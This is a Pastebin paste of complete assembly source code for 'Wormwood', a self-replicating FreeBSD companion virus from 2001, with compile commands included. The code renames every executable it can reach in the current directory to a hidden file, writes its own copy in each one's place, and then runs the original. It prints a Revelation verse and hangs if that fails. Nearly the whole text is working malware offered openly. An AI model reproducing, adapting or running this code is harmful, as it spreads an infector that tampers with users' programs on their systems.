Advertisement
FlyFar

OpenBSD.Virus.Wormwood - Source Code

May 17th, 2024 (edited)
479
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
6502 TASM/64TASS 7.22 KB | Cybersecurity | 0 0
  1. #
  2. #                             [FreeBSD.Wormwood]
  3. #
  4. # Simple FreeBSD virus. Written as a test of a posibility of writing FreeBSD
  5. # virus on a pure assembly. Infection way is a companion method - creation of
  6. # the spawned hiden file, which is running after all viral actions complete.
  7. # Very easy to understand and well good as a first step to the FreeBSD assembly
  8. # coding.
  9. #
  10. # To compile:
  11. # -----------
  12. # as -o wormwood.o wormwood.s
  13. # ld -s -o wormwood wormwood.o
  14. #
  15. # 31/08/01
  16.  
  17. .include        "syscall.inc"
  18. .include        "freebsd.inc"
  19. .include        "dirent.inc"
  20.  
  21. VIRUS_SIZE      = 1200  # Hardcoded size, check it before run!!!
  22.  
  23.             .text
  24.             .globl _start
  25. ###############################################################################
  26. #                                  Virus                                      #
  27. ###############################################################################
  28. _start:
  29. _VirusStart:
  30. # Save the 1st command line argument (argv[0]) offset
  31. # (it is the name of the currently runned file)
  32.             movl    4(%esp), %eax       # argv[0]
  33.             movl    %eax, _OurNameOffset
  34.  
  35. # Open current directory for read only
  36.                         pushl   $O_RDONLY
  37.                         pushl   $_Directory
  38.                         movl    $SYS_open, %eax
  39.                         pushl   %eax
  40.                         int $0x80
  41.  
  42.                         jnc 1f
  43.             addl    $12, %esp       # If an error
  44.             jmp _ExitVirus      # Go out
  45. 1:
  46.             addl    $12, %esp
  47.                         xchgl   %eax, %ebx
  48.  
  49. # Read directory structure
  50. _ReadInfoBlock:
  51.                         pushl   $S_BLKSIZE
  52.             movl    $_InfoBlock, %ecx
  53.                         pushl   %ecx
  54.                         pushl   %ebx
  55.                         movl    $SYS_getdents, %eax
  56.                         pushl   %eax
  57.                         int $0x80
  58.                         addl    $16, %esp
  59.  
  60.                         orl %eax, %eax
  61.                         jz  _ExitVirus              # if there's no filez
  62. 1:
  63.             call    _ProcessFile        # Call infection
  64.  
  65.             movzwl  d_reclen(%ecx), %edx
  66.             addl    %edx, %ecx
  67.  
  68.             movl    %ecx, %edx
  69.             subl    $_InfoBlock, %edx
  70.  
  71.             cmpl    %eax, %edx
  72.             jl  1b
  73.             jmp     _ReadInfoBlock
  74.  
  75. ###############################################################################
  76. #                            INFECTION PROCEDURE                              #
  77. ###############################################################################
  78. _ProcessFile:      
  79.             pushal
  80.  
  81. # Do some checks for loyality
  82.             testw   $DT_REG, d_type(%ecx)   # is it a regular file?
  83.             jz  _EndFile
  84.  
  85.             cmpb    $0x2e, d_name(%ecx) # check for DOT at the
  86.             je  _EndFile        # name beggining
  87.            
  88. # Did we find ourself?
  89.             pushl   %ecx
  90.             popl    %ebx
  91.  
  92.             movl    _OurNameOffset, %edi
  93.             cmpw    $0x2f2e, (%edi)     # skip "./" at start
  94.             jne 1f
  95.             incl    %edi
  96.             incl    %edi
  97. 1:
  98.             leal    d_name(%ecx), %esi
  99.             pushl   %edi
  100.             xorl    %eax, %eax
  101.             repne
  102.             scasb
  103.             popl    %ecx
  104.             xchgl   %ecx, %edi
  105.             subl    %edi, %ecx
  106.             rep
  107.             cmpsb
  108.             je  _EndFile
  109.  
  110.             xchgl   %ebx, %ecx
  111.  
  112. # Can we execute the file?
  113.             pushl   $X_OK           # check for execute
  114.             leal    d_name(%ecx), %eax  # permissions
  115.             pushl   %eax
  116.             movl    $SYS_access, %eax
  117.             pushl   %eax
  118.             int $0x80
  119.             addl    $12, %esp
  120.  
  121.             orl %eax, %eax
  122.             jnz _EndFile
  123.  
  124. # Create the companion name (put the DOT before the name)
  125.             movb    $'.', d_namlen(%ecx)    # the same offset as
  126.                             # d_name - 1
  127.  
  128. # Check the presention of the companion file
  129.             pushl   $F_OK
  130.             leal    d_namlen(%ecx), %eax    # same as d_name - 1
  131.             pushl   %eax
  132.             movl    $SYS_access, %eax
  133.             pushl   %eax
  134.             int $0x80
  135.             addl    $12, %esp
  136.  
  137.             orl %eax, %eax      # file is presented
  138.             jz  _EndFile        # means "infected"
  139.  
  140. # Open ourself
  141.             pushl   $O_RDONLY
  142.             pushl   _OurNameOffset
  143.             movl    $SYS_open, %eax
  144.             pushl   %eax
  145.             int $0x80
  146.  
  147.             jnc 1f
  148.             addl    $12, %esp
  149.             jmp _EndFile
  150. 1:
  151.             addl    $12, %esp
  152.             xchgl   %eax, %ebx
  153.  
  154. # Read ourself to the buffer
  155.             pushl   $VIRUS_SIZE
  156.             pushl   $_Buffer
  157.             pushl   %ebx
  158.             movl    $SYS_read, %eax
  159.             pushl   %eax
  160.             int $0x80
  161.             addl    $16, %esp
  162.  
  163. # Close ourself
  164.             pushl   %ebx
  165.             movl    $SYS_close, %eax
  166.             pushl   %eax
  167.             int $0x80
  168.             addl    $8, %esp
  169.  
  170. # Rename founded file to the companion
  171.             leal    d_namlen(%ecx), %eax
  172.             pushl   %eax
  173.             leal    d_name(%ecx), %eax
  174.             pushl   %eax
  175.             movl    $SYS_rename, %eax
  176.             pushl   %eax
  177.             int $0x80
  178.             addl    $12, %esp
  179.  
  180.             orl %eax, %eax
  181.             jnz _EndFile
  182.  
  183. # Create infected file
  184.             pushl   $S_IRWXU|S_IRGRP|S_IXGRP|S_IROTH|S_IXOTH
  185.             pushl   $O_WRONLY|O_CREAT|O_EXCL
  186.             leal    d_name(%ecx), %eax
  187.             pushl   %eax
  188.             movl    $SYS_open, %eax
  189.             pushl   %eax
  190.             int $0x80
  191.             addl    $16, %esp
  192.  
  193. # Write virus to the victim
  194.             pushl   $VIRUS_SIZE
  195.             pushl   $_Buffer
  196.             pushl   %ebx
  197.             movl    $SYS_write, %eax
  198.             pushl   %eax
  199.             int $0x80
  200.             addl    $16, %esp
  201.  
  202. # Close victim
  203.             pushl   %ebx
  204.             movl    $SYS_close, %eax
  205.             pushl   %eax
  206.             int $0x80
  207.             addl    $8, %esp
  208.  
  209. _EndFile:      
  210.             popal
  211.             ret
  212.  
  213. ###############################################################################
  214. #                                EXIT VIRUS                                   #
  215. ###############################################################################
  216. _ExitVirus:
  217. # Prepare the string with our companion file name in the _Buffer
  218. # (PAY ATTENTION: buffer should be greater then MAXNAMELEN!!!)
  219.             movb    $'.', _Buffer
  220.             movl    _OurNameOffset, %esi
  221.             movl    $_Buffer+1, %edi
  222.             lodsw
  223.             cmpw    $0x2f2e, %ax        # skip "./" at start
  224.             je  _NextSymbol
  225.             stosw
  226. _NextSymbol:       
  227.             lodsb
  228.             orb %al, %al
  229.             jz  _EndOfTheNameString
  230.             stosb
  231.             jmp _NextSymbol
  232. _EndOfTheNameString:
  233.             stosb
  234.  
  235. # Put the address of the name to the Argv[0]
  236.             movl    $_Buffer, %eax
  237.             movl    %eax, 4(%esp)
  238.  
  239. # Get the Envp[] offset
  240.             movl    %esp, %eax
  241.             pushl   %eax
  242.             popl    %ebx
  243.             addl    $4, %ebx        # %ebx = Argv[]
  244.             movl    (%esp), %ecx
  245.             shll    $2, %ecx
  246.             addl    $8, %ecx        # add Argc and 0
  247.             addl    %ecx, %eax      # %eax = Envp
  248.            
  249. # Execute file
  250.             pushl   %eax            # offset Envp[]
  251.             pushl   %ebx            # offset Argv[]
  252.             pushl   $_Buffer        # offset file name
  253.             movl    $SYS_execve, %eax
  254.             pushl   %eax
  255.             int $0x80           # we don't clear stack
  256.                             # after this syscall
  257.                             # because there is
  258.                             # an error anyway
  259.  
  260. # We are still here? This means an error
  261.             pushl   $_RevelationL
  262.             pushl   $_Revelation
  263.             pushl   $STDOUT
  264.             movl    $SYS_write, %eax
  265.             pushl   %eax
  266.             int $0x80
  267.            
  268.             jmp .           # endless loop
  269.    
  270. ###############################################################################
  271. #                            VIRUS DATA STRUCTURE                             #
  272. ###############################################################################
  273.             .data
  274. _Directory:     .asciz  "."
  275. _Name:          .ascii  "[FreeBSD.Wormwood]"
  276. _Revelation:        .ascii  "\n\nREV.8:10 The third angel sounded his trumpet,\n"
  277.             .ascii  "         And a great star, blazing like a torch,\n"
  278.             .ascii  "         Fell from the sky on a third of the rivers\n"
  279.             .ascii  "         And on the springs of water -\n"
  280.             .ascii  "REV.8:11 The name of the star is Wormwood.\n"
  281.             .ascii  "         A third of the waters turned bitter,\n"
  282.             .ascii  "         And many people died from the waters\n"
  283.             .ascii  "         That had become bitter.\n\n"
  284. _RevelationL        =   . - _Revelation
  285.  
  286.             .bss
  287. _OurNameOffset:     .int    0
  288. _InfoBlock:             .skip   S_BLKSIZE, 0
  289. _Buffer:        .skip   VIRUS_SIZE, 0
  290.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement